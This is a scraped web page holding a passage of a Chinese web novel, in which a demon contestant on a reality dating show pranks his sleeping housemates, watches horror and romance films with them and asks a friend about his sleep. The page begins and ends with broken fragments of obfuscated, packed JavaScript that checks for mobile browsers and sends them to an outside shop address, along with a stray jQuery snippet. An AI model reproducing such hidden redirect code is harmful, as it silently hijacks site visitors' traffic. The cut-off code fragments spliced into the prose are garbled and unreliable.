0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090262|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 把蓝莓和草莓洗完后,他已经在搅拌面糊,不粘锅在灶台上放着,他往预热好的锅里舀进一勺面糊,等待面糊冒气泡的过程里神情专注而认真。 气氛很宁静,落雨声时不时传入,似乎能想象到雨雾缭绕的场景。 裴问青用锅铲给松饼翻了个面,慢悠悠开口道:“今天有想做的事情吗?” 我倚着料理台,摇摇头:“没有。” 气氛太安静,总要多点话才不至于太尴尬,我又说道:“我也没有别的工作,在这待着的确没有别的事情要做。” 他抬起头,略略睁大了眼,明显是不相信。 “真的。”我点了点头,开了个玩笑,“三百八十线开外的打工人而已。” 他脸上闪过若有所思的神情,开始煎第二片松饼:“为什么会想做艺人?” 我换了个姿势站着,打了个哈欠:“在大街上乱逛,就被人抓走了,然后就签了合同,反正包住,我也懒得动弹。” 能在学校九年不挪窝足可见我的沉稳,所以签了家不太靠谱的公司,我也照样能在公司宿舍躺到地老天荒。 直到公司倒闭。 不知道今年经营状况怎么样,我希望再撑一撑,只要让我毕业! “公司宿舍条件还挺好的,单人间。”我对他说,比了个大拇指表示赞赏。 裴问青连松饼都忘了翻面:“你……” 我盯着松饼没挪开视线,见冒泡快糊了,喊裴问青名字他还在走神,便好心握住他的手腕给松饼翻面:“要糊了。” 他的手抖了抖,锅铲险些没拿牢,我估计是他摊累了,跃跃欲试道:“我来吧。” 裴问青陡然回过神,沉声道:“反正都做了,我一次性煎完吧,能麻烦你去拿个盘子吗?” “行。”我走向碗橱,看见裴问青手边装了松饼的盘子,只拿了一只出来,顺便拿了两副刀叉。 松饼全部煎完出锅,裴问青拿水果摆了盘,又问我要不要加块黄油。 “要。” 他切了一小块黄油在松饼顶上,把松饼和一瓶蜂蜜递给我:“蜂蜜你自己加。” 昨晚那点糖分早就消化干净了,我往松饼上倒了几乎能把松饼淹没的蜂蜜,这才拿起刀叉。 裴问青就坐在我对面,只是抿了口咖啡,没有动松饼的意思。 我把嘴里裹着蜂蜜的松饼咽下去,对他道:“很好吃。” 他这才露了点笑,放下咖啡,开始切自己的那份。 二楼传来房门响动的声音,几分钟后,徐明歌走下楼,见到我时,脸上的讶异近乎具象化。 “早。”我和他打了声招呼。 “……早。”他愣了一会儿才应道,“你今天,好早。” 我叉了块草莓:“让我期待一下剩下三个人的反应。” 会不会产生羞耻心,居然连祝叙乔都比他们起得早! “不会,他们只会说你昨晚是不是做噩梦了。”裴问青似是看出我在想什么,平静地戳破了我的幻想。 “我能去整蛊他们吗?”裹着蜂蜜的松饼全部吃完了,我放下刀叉,思考恶作剧的可行性。 裴问青低笑一声:“也不是不行。” 徐明歌在厨房煮他的清汤面,闻言探头小声道:“封之南和楼序起床气还挺严重的。” “那先吓唬程况野。”我对他说。 8. 录制第三天(2) 20 程况野的房间在二楼右手边的第二间,就住在徐明歌的隔壁。我蹑手蹑脚往他的房间走,裴问青和徐明歌就跟在我的身后。 “你想怎么吓唬他?”裴问青双手抱臂,倚着墙问道。 我的手搭在门把手上,略略思考后说:“嗯……放唢呐的音乐。” 裴问青笑了笑:“这么听话乖巧?” 他这话说的我就不爱听了,我是没怎么整蛊过人,但要整蛊也不是不会,好歹是恶魔,我能把我的脑袋摘下来捧手里吓唬程况野。 可这不是在节目上吗,看的都是人类,又不是万圣节,可不好这么干。 “啊,上锁了。”我看着意料之中上锁的门把手,无奈叹气。 一点响动后,耳边传来丁零当啷的响声。裴问青指间勾着一串钥匙,在我面前晃了晃。 “酷。”我朝他比了个大拇指。 这套房子是裴问青的,他自然有备用钥匙。 我拿过他手里的钥匙,准备开门,徐明歌又小声说:“真的就放个唢呐声吗?” “有何高见?”我转过头,小声问他。 徐明歌是个比较严重的社恐,说话的时候声量又小又轻,不细听根本听不清楚。他又长了张看不出年龄的脸,乍一看过去,显得特别乖巧好学生。 此刻好学生变戏法一样在手上展示出道具。 “尖叫鸡,会放微弱电流的道具笔,怪叫关不掉的闹钟,你要哪个?”他眼睛有点亮,神情却显得很腼腆。 我草,最可怕的果然不是鬼神,而是人心。 当真是人不可貌相。 “这些不行的话,其实我还带了别的。”徐明歌羞涩地笑了笑。 我和裴问青对上视线,他嘴角噙着笑道:“都说你太乖巧听话了。” 呵呵,我把脑袋摘下来看谁吓死谁。 “笔吧,程况野……看起来很呆。”我委婉地和徐明歌说,后者了然地点了点头,明白我形容词下的潜台词。 “闹钟启动后直接丢封之南的房间里。”裴问青说。 现在我承认我是起床整蛊里最乖巧的那个。 我甚至只是想放个唢呐闹铃。 “尖叫鸡是不是不太适合给楼序?”徐明歌低声说,“捆起来放在他的身后,等他一翻身之类的?” “一翻身不太可能吧。”我说,“毕竟他的行为路线不太好预测。” “不会,他会乖乖翻身的。”裴问青在一旁幽幽开口。 我没忍住转头看这个黑心肝的家伙:“你心真的好黑。” “我心黑。”裴问青嘴角扯了扯,脸上的笑差点没绷住:“是哪个小没良心的早上要玩起床整蛊?” “是我。”我挺直脊背,正色开口:“大王小的错了。” “这里也不是花果山吧。”徐明歌抱着那堆道具,“怎么开始拜码头了。” 我对他说道:“没事,反正我是猴子。” 徐明歌很快接受了无厘头的对话,示意我打开程况野的房间。 “拿个夹着纸的夹板,和他说要填写问卷,直接把笔塞他手里。”裴问青吩咐徐明歌。 徐明歌腾不开手,我替他比了个OK的手势,应道:“他准备了。” 我把钥匙插进锁孔,轻手轻脚打开了程况野的房间门。 卧室中央的大床上鼓起一大团,冷气温度打得很低,我没忍住打了个哆嗦。 “真到北极了。”我用气声说道,裴问青往身后退了几步,朝着墙上的主控开关按了按,这才回来说:“调高了三度。怪不得裹成球。” 徐明歌小心翼翼走到床边,朝我们勾了勾手。 “睡得好死。”我咋舌道,说完毫不意外看见了裴问青的目光。 “我还是能叫得醒的。” 我忍辱负重开口。 “噗嗤。”裴问青只是迅速地笑了一声,那笑和蜻蜓掠水也没区别。 “程况野,程况野?”徐明歌轻轻推了推程况野的肩膀,掘土似的把他从被窝挖出来。 程况野显然比我要好叫,至少徐明歌推了他两把,他就睁开了迷迷糊糊的眼,紧跟着弹簧似的从床上弹射坐起:“今天有早八吗?!徐老头的课啊!” “没早八。”善良好心的祝姓恶魔拍了拍他的肩膀,在他耳边低语:“你在录节目。” 他房间内的摄像头在忠实工作,将我们一群人的反应如实记录。 程况野松了一口气,连着深呼吸几个来回,才粗暴地抹了把脸,迷迷瞪瞪问我们:“这么早有什么事吗?” 徐明歌把文件夹和笔一起递给他,轻声说:“早上有个问卷要你填,你先在这里签名字。” 程况野不疑有他,非常单纯且利索地接过了笔和文件夹,并准备直接开写。 “笔尖没弹出来啊。”他含糊道,按下了按压按键—— “嗷!” 裴问青抓住我的胳膊,迅速把我拉到安全距离,徐明歌也跟着大步后退。 程况野和只窜天猴一样,从床上直接起飞,我仰头去看,没忍住发出一声感慨。 窜的真高。 脑袋撞天花板了。 又是一声嗷。 “哇喔。”我说。 很给面子地鼓了下掌。 徐明歌笑眯眯地站在一旁看窜天高的程况野,仿佛刚才把笔给程况野的人不是他。 “你们……你们!”程况野捂着脑袋坐回床上,裴问青拉开了窗帘,看见他正一脸痛苦地看着我:“你们还是人吗?!” 我不是人,所以这句话毫无杀伤力。 “小小恶作剧嘛。”我对他说,“我都起床了,你还不起床是不是有点太过分了?” 程况野倒吸一口冷气,最后才震撼地看着我:“你今天居然那么早!” 他脾气当真是好,半点没有要生气的意思。 “既然只有你们在这里,楼序和封之南是不是还没起床?”程况野揉揉眼睛,将我们一圈看来,很快就判断了局势。 徐明歌点了点头:“他们应该还没醒。” 裴问青在一旁开口道:“别墅房间的隔音很好,你在房间里高歌隔壁都听不见。” 程况野嘿嘿一笑:“那是不是轮到我去折腾他们了?” 兴致真好。 “那走吧,去楼序那儿。”我晃晃手里的钥匙,带着已经壮大的队伍往楼序的房间走。 楼序的房间要往走廊尽头走,不知道什么怪癖,一定要找阳光不大好的地方睡,不知道的还以为他是德古拉。 人类都有点乱七八糟的小爱好,我对此很理解。 参与集体整蛊活动的程况野非常兴奋,简直亢奋到了匪夷所思的地步。 他的兴奋是我非常难以理解的存在,我也不再去分析他为什么会那么开心,可能能量槽深不见底,和我是两个极端。 楼序果然睡得很深,只不过我们蹑手蹑脚进去的时候,他特别恐怖地从床上坐了起来,动作很像德古拉从棺材坐起来。 有点太像了,要不是能断定他就是人类,我要把他当做同胞。 程况野小心翼翼问道:“楼序……” 徐明歌拿着尖叫鸡,有些遗憾地叹了口气。 楼序没有应话,还是坐在那儿没动。 裴问青大步上前,无语道:“睡死的。” “厉害,坐着睡觉。”程况野啧啧称奇,说完又回头看了我一眼:“你会吗?” “我有床干嘛不躺下来睡。”我无语地看着他,最后回了他一声笑。 徐明歌晃了晃手里的尖叫鸡:“趁现在吗?” 程况野朝他摊手,兴奋开口:“我来!” 组合版尖叫鸡到了他的手上,还粘了一圈胶带纸,真不知道徐明歌是什么时候准备的。 程况野轻手轻脚走到床边,将尖叫鸡贴在了楼序的背后。 贴完之后,他一手揽着我一手揽着徐明歌,强行拖着我们往门口走:“走走走走!” “你干都干了,还这么害怕干什么?”我用力锤了锤他勒住我脖子的手。要断气了。 他咋舌道:“楼序起床气很恐怖的啊。” “那你还这么兴奋。” “机不可失,时不再来嘛。”他嘿嘿一笑。 等我们都到了门口,德古拉·楼序才祥和地躺回去,就是躺下去的力气有点狂野和凶猛。 “咯叽!!!” 我及时捂住了耳朵,楼序爆出了一声惊天动地的脏话。 好脏的脏话。 半晌后,他脸色阴沉地下床,手里的尖叫鸡几乎要被捏变形,最后一声鸡叫都发不出来,只能魂归西天暴毙。 为可怜的尖叫鸡默哀。 “早上好。”黑云压城城欲摧,紧张气氛下,我又没忍住说烂话。 我明白这是个不好的习惯,但我控制不住我自己。 我希望楼序原谅我。 因为早上好之后还有半句话。 “Surprise。”我说。 程况野痛苦地捂住了脸,裴问青的肩膀在抖,徐明歌咬着下唇,面色狰狞。 我知道他们在偷笑。 可恶啊。 楼序的指节咔啦作响,他脸色阴沉地看着我:“封之南醒了没。” “他还在睡觉。”我诚恳回答。 死道友不死贫道,果然是有福不同享,有难一起担啊。 “你们给他准备了什么?”他又问。 徐明歌把关不掉的闹钟双手奉上,顺便交代了用法。 楼序低笑两声,笑声格外渗人阴森。他钳制住了我的脖子:“钥匙在你身上,走。” 脖子……脑袋要从脖子上掉下来了…… 我拒绝当路易十六…… 整蛊行动再添一人,队伍又一次壮大。到了封之南房间门口,楼序终于松开了我饱受奴役的脖子,示意我开门。 我撇撇嘴,拿着钥匙开了门。 几个房间的布局都没什么区别,打开门往里探探头就能看见床。 上面躺着一个熟睡的封之南。 为了偿还我的罪孽,我担任了斥候的岗位,被邪恶的德古拉·楼序派去查探敌情。 我走路和裴问青一样没声儿,深入腹地站在床边时,封之南也没动静。 确认他睡得超级死之后,我蹑手蹑脚回到门口:“睡死的。” 楼序点点头,转了转胳膊。 程况野低声倒计时:“五——四——三——二——一——点火!” 我和他条件反射抱头蹲下,楼序已然把倒计时只剩几秒就叫的闹钟精准丢在了封之南的床上,并迅速侧身和徐明歌躲在了门外另一侧的视觉盲区。 裴问青站在我和程况野面前,虽然很茫然,但还是在我扯他衣角的动作间跟着半蹲。 倒计时结束了。 房间内霎时天崩地裂山河咆哮水火兵虫海啸山崩—— 崩角之危危如累卵卵覆鸟飞飞黄腾达……接不上了。 总而言之我作为成语小天才背完成语大全的时候,一身黑气的封之南从房间里走了出来,拿着闹钟的残骸,满脸黑线却又笑眯眯问道:“谁、扔、的?” 闹钟残骸在他掌心适时发出一声悲鸣。 我正要开口说话,裴问青一掌捂住了我的嘴巴,强行把我的烂话堵了回去,顺道还把我往他的身后藏了藏。 他看着封之南,冷静开口:“节目组的任务。” 这就是生意人吗,简直是找借口的天才。 “节目组的任务?”封之南慢条斯理问道。 “当然是。”裴问青看着他,像是听见了什么莫名其妙的答案:“我们没事恶作剧你做什么?浪费时间吗?” 他甚至能理直气壮巩固自己的回答。 “原来是这样。”封之南咬牙切齿。 闹钟变成粉末了。 这是人有的力气吗? 21 “祝小乔,”封之南一把勾住我的脖子,“自己睡不着就扰别人清净,嗯?” 我双手掐住他的腰,硬是让我多灾多难的脖子脑袋脱离他的桎梏。 一群人坐在客厅里开始自觉工作学习,封之南今天没事干,又想当路易十六的断头台。 我就一个脑袋。 “我睡得很好。”我义正言辞道,闪躲他的攻击里,又一不小心踩到程况野的脚,在他痛苦的哀嚎声中说了一声对不起。 然后我也摔了个四脚朝天。 背部接触地面的一秒前,被人一掌托了起来。 裴问青一手电脑一手我,沉重地叹了口气:“你们两个还是小朋友吗?” “我才不是。”我矢口否认。 封之南呵呵一笑:“他哪里不是。一大早带着 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“保持身材也太辛苦了。”封之南啧啧道,端着那碗白米饭在我面前趾高气昂落座。 拿我不吃的东西在我面前炫耀有什么必要,孔雀一样。 午餐结束后,封之南突然开口问:“下午没事吧?” 节目组不知道是怎么设计这个节目的,总而言之放任我们一帮人自己闹腾,活像在玩真人观察,我们就是那堆小白鼠。 “没事。”徐明歌说,“节目组一直没有别的安排。” 我认可地点了点头,点完突然想起来我好像有任务在身。 算了,开心最重要。 想了一秒任务后,我果断把任务抛之脑后。能够做至交好友也是一种心动,何臣凭什么不同意这个定义。 “那我们看电影。”封之南说,笑容奸佞。 程况野小动物似的直觉冒出了头,满脸警惕:“你要看什么?” “裴问青,别墅有影音房吧?”封之南转头看向裴问青,眼底闪过一丝微光。 裴问青顿了顿,几秒后才若无其事开口:“有,在负一层。” 既然是看电影也就没什么问题,整栋别墅都装了摄像头,影音房也不例外。 裴问青带着我们去了影音房,徐明歌落在最后,轻声问封之南要看什么。 “入座之后就知道了。”他故作玄虚道。 第三天和第一天相比已然是天差地别,至少从我的视角看过去,所有人之间天堑一般的身位空格已经消失,甚至都很开心地坐在了一张长沙发上。 我本来想坐在边缘,被挤着挤着就坐在了正中央。 封之南在捣鼓播放的影片,程况野和楼序徐明歌挤在一块,低声问封之南会放什么。 “反正不是爱情片。”我直接排除了一个答案。 徐明歌弱弱道:“我们好歹也是个恋综呢,放爱情片也正常吧。” “我想看人体蜈蚣。”楼序沉声道。 徐明歌直接被他吸引了注意力:“你也喜欢人体蜈蚣吗?” 程况野起了身鸡皮疙瘩,从他们中间挤出来挪到我旁边,惊恐道:“他们两个是变态吗,居然喜欢人体蜈蚣。” “那是什么?”我对人类的影视作品了解不多,并不清楚那是什么,程况野拿出手机要搜给我看,裴问青的声音从旁边传来,带着一丝慎重:“你要是晚上还想吃巧克力的话,就不要好奇。” 我推开了程况野的手:“那我不看了。” 巧克力比较重要,如果影响我吃巧克力,我不会看。 程况野发出了一声遗憾的感慨。 到底在感慨什么。 封之南终于选定好影片,电影开始播放,他匆匆走到长沙发上坐下。 “这什么片?”程况野问道。 封之南笑得狡诈:“你看就知道了。” 电影色调阴沉,画面安静,一时间只有主角的话语声。 封之南放的电影是恐怖片。 我满不在乎地从口袋里翻出棒棒糖,没剪刀,索性直接暴力撕扯。 扯一半天扯不开,最后还是裴问青帮我扯开的。 人类恐怖片我没看过,不过作为一只恶魔,地狱什么乱七八糟的场景都看过了,我自己本身就属于灵异类物种,如果还害怕人类生产的幻想作品未免太可笑。 影音房内原本还有点嘻嘻哈哈的声音,但随着影片的深入逐渐消失。 我的耳侧只能听见几道紧张的呼吸声。 棒棒糖含在嘴里,我认真盯着屏幕,连转动棒棒糖的动作都懒得做。 音效逐渐响亮,长相诡异的娃娃骤然突脸—— “啊啊啊啊!!!” “救命!!” “啊——” “嘶!!!” 我控制不住往后一仰,手上却被什么东西抓住,身侧更是如海潮般挤了过来,没忍住从头炸毛到脚,我甚至能感受到头发丝炸开到发梢。 影音房内尖叫声此起彼伏,有道尖叫声气儿特别长,简直就是肺活量大王,我被吓完了,尖叫声还没停。 腰间这个时候又横亘了一条手臂,我往后又挤了挤。 “啪。” 影音房的日光灯被打开,电影暂停,徐明歌站在开关边上,难以言喻地看着我们一帮还坐在沙发上的家伙。 我这个时候才发现我几乎是坐在了裴问青的大腿上,程况野手脚并用扒拉住我——怪不得那么挤,楼序勒着封之南的脖子,封之南满脸惊恐地挽着裴问青的手臂。 就这么乱作一团挤在了沙发上。 一张长沙发在这种情况下,使用率低至百分之八十,我们几乎盘成了一团球。 裴问青陷在最底下,满脸写着绝望。 “封封封封之南,”程况野结结巴巴道,“不是你说要看恐怖片的吗,你自己那么害怕干什么?!” “我也没想到这么恐怖啊,我随便选的,本来只是想吓唬你们。”封之南惊魂未定,深吸一口气道。 徐明歌的视线就像在看一群傻子。 他竟然才是我们这群家伙里最深藏不露的那个。 恐怖如斯。 9. 录制第三天(2) 22 果然是人不可貌相,徐明歌就是面白心黑。 窝沙发上尖叫来尖叫去,又被徐明歌一打岔,恐怖片也没氛围了。 我甩开程况野的手,努力把满脸写着崩溃和绝望的裴问青从封之南还有楼序的魔爪里扯了出来。 “封之南,你真的闲得慌。”我无语地看着他,裴问青站在我旁边整理皱巴巴的衣服,以及凌乱的头发。 封之南抱着抱枕陷在沙发里,挠了挠鼻尖:“我没想到那么恐怖。” “你就是故意的。”程况野从我肩膀后探出一个脑袋,强烈谴责封之南的过分行为。 楼序用行动表示了不满,直接勒住了封之南的脖子,再现路易十六断头台。 我总觉得这几个人都有毛病。 “别看恐怖片了。”徐明歌说,“稍微看点能让人脸红心跳的东西。” 在场好像只有他努力提醒大家,我们在拍恋爱综艺,而不是团体综艺。 不知道的还以为我们下一秒就要组男团出道了。 男团还卖腐呢,我们连卖个腐都卖不起来,十分不敬业。 程况野看了恐怖片,一时间有些心慌意乱,急需要平和的东西安抚受伤的心灵,于是同意了徐明歌的提议。 一群被恐怖片吓得惊慌失措的家伙重新坐回沙发上,徐明歌挑了部评分高的爱情片,关上灯坐好。 我又往沙发里头挪了挪,口袋里仅剩的棒棒糖被拿来安抚看恐怖片的自己,口袋已经空了,什么糖都没有。 只好无声叹口气。 旁边横伸出来一只手,掌心摊开,一长条的榛果巧克力。 我转头看向手的主人,裴问青又把巧克力往我面前送了送:“下来的时候顺带往口袋里塞了一条。” “谢谢。”我双手捧着巧克力,虔诚地向他道谢。 是伟大的巧克力。 他轻笑了两声,不再说话。 事实证明狗改不了吃屎,山猪吃不了细糠,恐怖片好歹能玩一出“你的怀抱是我躲避风雨的港湾”,看爱情片只能收获无理取闹的吐槽,悲戚的哭泣,冷淡的应和。 “呜呜……他好可怜,为什么不能回头看他一眼……” 程况野泪眼汪汪,拿着我的衣袖擦眼泪,我真想把桌上的抹布甩他脸上。 旁边封之南和楼序一人接一句:“这男的有病,这女的也有病。” “正常人会干出这种事儿吗?谈就谈,不谈就滚蛋。” 让我们营造恋综的氛围本身就是一件难事,还不如寄托剪辑团队化腐朽为神奇。 “啪。” 灯再次打开,徐明歌平静地站在一旁,很无奈地承认了事实:“我有病。” 爱情片戛然而止,下午观影时间到此结束。 别墅外还下着大雨,我啃完榛果巧克力昏昏欲睡,本来想着直接闭上眼睛,但最后还是睁开了。 “困了就去睡会儿。”裴问青把茶几收拾了一遍,转头对我说道。 “现在不困了。”我摇摇头,“今天意外很清醒,不是特别困。” 平时一天十八个小时是基础睡眠时间,今天不仅六点就醒了,甚至没有多少困意,也没有进行午睡,着实让魔震撼。 我决定晚点问问顾寒声,问问他知不知道我这个是什么情况。 睡眠时间减少对我来说是天大的事儿,我还是很喜欢睡觉的。 影音房经此一役,惨烈收场。程况野他们已经热闹烘烘和封之南对战去了,我和裴问青落在最后,慢慢往楼上走。 “明天是晴天。”裴问青对我说。 他的天气预报一直很准,和我的比起来就是天上地下的区别。 我的天气预报,早上报备是晴天,明天是暴雨,结果今天暴雨,压根不准。 “晴天……”我摸了摸下巴,站在楼梯台阶上,比他又高出不少,“要出去玩吗?” “晴天可以看日落。”裴问青仰起头看我,矮了几个台阶,却觉得他的脸看得很清晰。 鼻翼上好像有一枚痣,很浅。 “你鼻子上有痣。” 我话不对题,走神道。 裴问青漆黑的眼底映出浅淡的笑意,连带我落在他眼底的身影都因那份喜悦颤动。他低声道:“我没注意过。” 我煞有介事回复他:“那你现在知道了。” “看来我要和你道谢,连我自己都没发现。”他走上楼梯,和我并肩回一楼客厅。 晚餐时间要到了,大家都往厨房去准备晚餐。 一起看电影的确能升温感情,至少我看着,大家的关系亲近不少,已经是说得来的好室友了。 下回还能一起玩撕名牌,鬼抓人大赛。 “今天下了一天雨,哪儿都去不了,我还想出去逛逛。”程况野被关在别墅三天,已经要长霉,趴在餐桌上拿筷子拨弄已经吃完的空碗。 “你是狗吗,一定要放风。”楼序在一旁耿直开口。 “楼序,不会说话其实可以不用说的。”封之南笑道,“至少也要换个委婉一点的说法。” 程况野委屈道:“你俩就逮着我说,小乔他们就不会这么说。” 我想说他像狗很久了,第一天就想说。只是我顾忌人类社会的社交法则,放地狱这种话都只是打招呼的用语。 但现在他都这么说,我也不好把真实念头暴露出来。 “为什么要叫我小乔。”现在更重要的问题是这个,“我有大名。” “叫着多好听,就这个呗。”说话的是封之南。 说起来一开始就是他管我叫祝小乔,有时候真想把他的嘴巴撕开。 “不要把你可耻的想法强加给别人,你这个无耻的家伙。”楼序把最后一块话梅排骨夹走,锐评封之南的发言。 “所以我说楼序你要是不会说话可以不用说的。”封之南无奈地揉了揉额角,“我居然会和你在同一个节目上相遇。” “我倒血霉了。”楼序吐掉骨头,冷静说。 裴问青趁他俩打嘴仗的时候给我递了一碗牛奶燕麦粥,加了巧克力球。 “甜的,只管喝。”他对我说道。 徐明歌熟络之后也懒得和幼稚鬼多说话,安静给自己剥虾,耳朵像是自动戴上了降噪耳机,不想听见外界一切声音。 “怎么又是开小灶,裴哥,不能厚此薄彼啊 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“夫妻半夜入住酒店,妻子羞红脸说了句‘丢死人了!’,随后就将死去的丈夫装进塑料袋丢出酒店。” 我稍微按捺住自己上扬的嘴角,我知道如果说笑话的那个笑得太开心,会将笑话的效用大打折扣。 但是真的很好笑,所以我没忍住,还是泄露了一点笑声。 餐桌上只有我的笑声。 好安静。 “噗嗤。”过了片刻,裴问青捂住嘴笑了一声。 我不知道他是真的认为我的笑话很好笑,还是给我一个面子笑一笑。 “好地狱的笑话。”程况野目瞪口呆,封之南和楼序更是难以言喻地看着我。 “不好笑吗?”我又恢复了面无表情的状态,“我还挺喜欢的。” 餐桌上一阵冷风飘过。 裴问青安慰道:“的确很好笑,他们笑点太高了。” 我捂住了脸。 讲笑话的伟大梦想出师未捷身先死,明明就很好笑,他们居然get不到笑点,真让我难过。 封之南不动声色转了话题,显然是不愿意在让我开口讲笑话。 “节目是不是要准备播出了?”他问道。 “这才录制几天,他们就剪好了?”徐明歌正在收拾碗筷,闻言诧异问道。 “导演他们急了吧。”封之南说。 播不播出都不在我的考虑之内,我决心不给这些觉得我的笑话不好笑的人好脸色看。 我要孤立他们。 他们已经站起来转战客厅,我还趴在餐桌上伤春悲秋。 裴问青正在擦桌子,擦到我这儿,让我抬头的话都没说,手一伸,托起我的下巴,把我趴的那块地方擦干净,又松开我,把我放下来。 擦完他走人,顺手处理路障似的。 我沉重地叹了口气。 他擦桌子的动作一顿,认真对我道:“很好笑,真的。” 有些话,说出来还是很令魔伤心的。 更悲伤了。 10. 录制第四天(1) 23 今天是录制的第四天,祝叙乔同志的任务进度为零。 目前能和人说上话,动心遥遥无期。 我从床上爬起来,很满意地望着窗外欣赏晴天海景,觉得实在是太幸福了。 一看手机时间早上七点,困意全无,精神百倍,简直叫我难以置信。 我看了看昨晚固定的发短信流程,大家都没什么话可说,发短信整得像恶作剧,已经变成恶搞环节。 顾寒声这个时间点估计还在睡觉,但我向来不在乎他睡没睡,翻开联络簿就给他打电话。 打了四个之后,电话终于通了,顾寒声在电话那头用刚睡醒的沙哑嗓音怒吼:“祝叙乔!” “找你有事儿。”我拎着手机,蹲在滑轮椅上,“很重要的事情。” 语气很严肃认真,务必要让他意识到此事件的重要性。 顾寒声一下就精神了,压低声严肃问我:“你那边出什么事了?” 我盯着窗外微微翻涌的海面,学着他的语气说:“我睡不着觉了。” “……” 电话那头先是长久的沉默。 而后是顾寒声咬牙切齿的话:“祝叙乔,我有时候真想打你。” “那我就去找秦姨告状,你完蛋了。”我懒散道。 “我上辈子真是欠你的。”顾寒声有点崩溃,把我骂了一顿才继续问:“睡不着觉是什么情况?” 我没办法正常进食他是清楚的,因此只能靠睡眠和糖分补充发体力,就算这样,也只是勉强遮掩住我的本体模样,能够自如行动而已,魅魔的能力想都不用想。 睡不着觉的后果很严重,会影响到我的体力和本体隐藏。 在人类世界暴露本体很容易招致驱魔人,我不是很想和这群人碰上面。 “就是睡眠时间缩短了。”我和他说,“我平时根本不可能七点就给你打电话吧,昨天甚至是六点多起的,我也没有熬夜的习惯。” 顾寒声沉思片刻后,传来一阵翻书声。 这点事还要翻书,他怎么考到博士的。 “你属于变异种,我没办法直接下断定,当然要先翻书找找资料,编排我的话别想了。”顾寒声幽幽说。 他怎么知道我在编排他,成精了。 我拿远手机看了看,难以理解。 顾寒声懒得在这种事上和我扯皮,他又翻了一阵子书,才对我道:“你现在情况有两种可能。” “一是身体已经快到极限了,再不采取正常的进食方式,我没法保证你接下来还能活多久。” “二是理想结果,可能有什么东西影响了你的身体,或者说取代了你通过睡眠恢复能量的功效。” “三么就是的你又变异了,变成我看不懂的存在了。” 我让他滚,第三个答案混进去和胡扯似的,但前两个的答案听着和第三个也没多大区别。 “但我没感觉没力气,相反还很精神。”我思索后对顾寒声说,“也没啥隐藏不住的症状。” 这才是我难以理解的地方,睡得少,反而更加精神了。 顾寒声沉吟两声,道:“你现在还在上节目吧?先看几天,身体如果没有什么大问题和不舒服的地方,就当不存在吧,有些事儿就是自己硬想想出来的。” 还真是当不知道就不存在,好一个唯心主义安慰法。 我懒得和他胡扯,挂断电话洗漱下楼。 一下楼,客厅沙发上横七八叉躺了三个人,楼序程况野和封之南。 这三个人估计是被昨天早上的起床整蛊折腾不爽,今早先下手为强起床了。 但看这个睡得死沉的样子,我也不知道他们到底要争哪口气。 “本来是准备整蛊你。”裴问青从厨房出来走到我身边对我说,“下楼碰到沙发就睡了。” 我嗤笑两声,就他们这个样子还想吓唬我。 昨天已经整蛊完了,我现在对吓他们不感兴趣,这种整蛊当然要突如其来才好玩,等他们放松警惕再来一遍才是正确操作。 我慢腾腾挪到厨房找水果当早餐,还没打开冰箱,裴问青先喊了我的名字。 他也跟着那群人学坏,喊我祝小乔。 烤箱里有他早上做的苹果派,他切了一块递给我:“水果都在冰箱,早上吃冰的伤胃,吃苹果派。” 我拿上叉子,安静坐下吃苹果派。 “徐明歌呢?”看了一圈,别墅里还缺了一个人。 “他在网上订了今天的食材,出门去拿了。”裴问青在我对面坐下,面前的电脑打开,手边放了一杯黑咖啡。 我看一眼就知道他一块方糖都没加。 苦的和药剂一样的东西,亏他能面不改色喝下去。 “还好,不苦。”他端起茶杯抿了一口咖啡,语气平淡道。 “你到底是怎么猜出我在想什么的。”我拿叉子将盘子里的苹果派五马分尸,语气干巴问道。 我习惯没什么表情面对别人,脸上的压根不会带太多情绪,顾寒声能猜中纯属是因为他和我认识好多年的狗屎运,裴问青又是怎么做到看我两眼就知道我在想什么东西。 “太好猜了。”裴问青无奈笑笑,“你心里想什么眼睛里都透出来,脸上没表情,但眼神有。” 眼睛不愧是心灵的窗户,这句话诚不欺我。 苹果派有点噎嗓子,我去拿了瓶牛奶,早餐结束时,戴着鸭舌帽的徐明歌提着一大袋子进了别墅。 他人看着清瘦,力气却格外大,提重物时手臂上全是肌肉,不愧是常下厨的美食博主。 “等会儿能帮忙分装一下食材吗?”他把所有的东西放在中岛台上,朝我和裴问青道。 “没问题。”我站起身,把空餐盘和叉子拿到洗碗池。 裴问青在工作之余回了他一句:“可以。” 徐明歌买了不少东西,肉类需要切好分装,他在切的时候,我就拿着保鲜袋站旁边装,装完密封放冰箱里,牛排拿锡纸打包再装。 就我们三个,所有的东西全部整理好了。 客厅躺得横七八叉的三个人也迷迷瞪瞪爬了起来,程况野见到我就大惊小怪:“你今天也好早!我们本来准备去捉弄你的。” “怪不得起那么早。”我阴阳怪气道。 他是个傻的,什么话都往外倒。封之南站在他身后无奈扶额,没话说了。 他们这个时间点起来,也只能赶个午餐。 到下午时,趁太阳没那么大后,我们六个在到达别墅的第四天终于肯出门活动了。 沙滩离别墅很近,徒步走个十分钟就到。徐明歌拿着防晒霜,出门前先往我们脸上各糊了一把。 “要注意防晒,晒伤很难受的。”轮到我,我目测了一下我和他的身高差距,沉默地往下蹲了点,方便他抹。 “我到今天才发现小乔是最高的那个诶。”程况野像是发现了什么新大陆,惊喜道。 “我怎么记得他没那么高。”楼序狐疑开口,对我的身高存疑,认为我掺了水分。 封之南笑了一声:“他就没怎么好好站直过,视觉上显矮。” 我默默挺直脊背,被徐明歌一把薅住脑袋涂防晒霜,重新缩回去。 涂完之后才拍拍我的肩,示意我可以站直了。 程况野和我背贴背,朝楼序使眼色:“楼序楼序,我和小乔谁高?” 楼序往远处站了站:“祝小乔高。” 程况野遗憾地叹了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 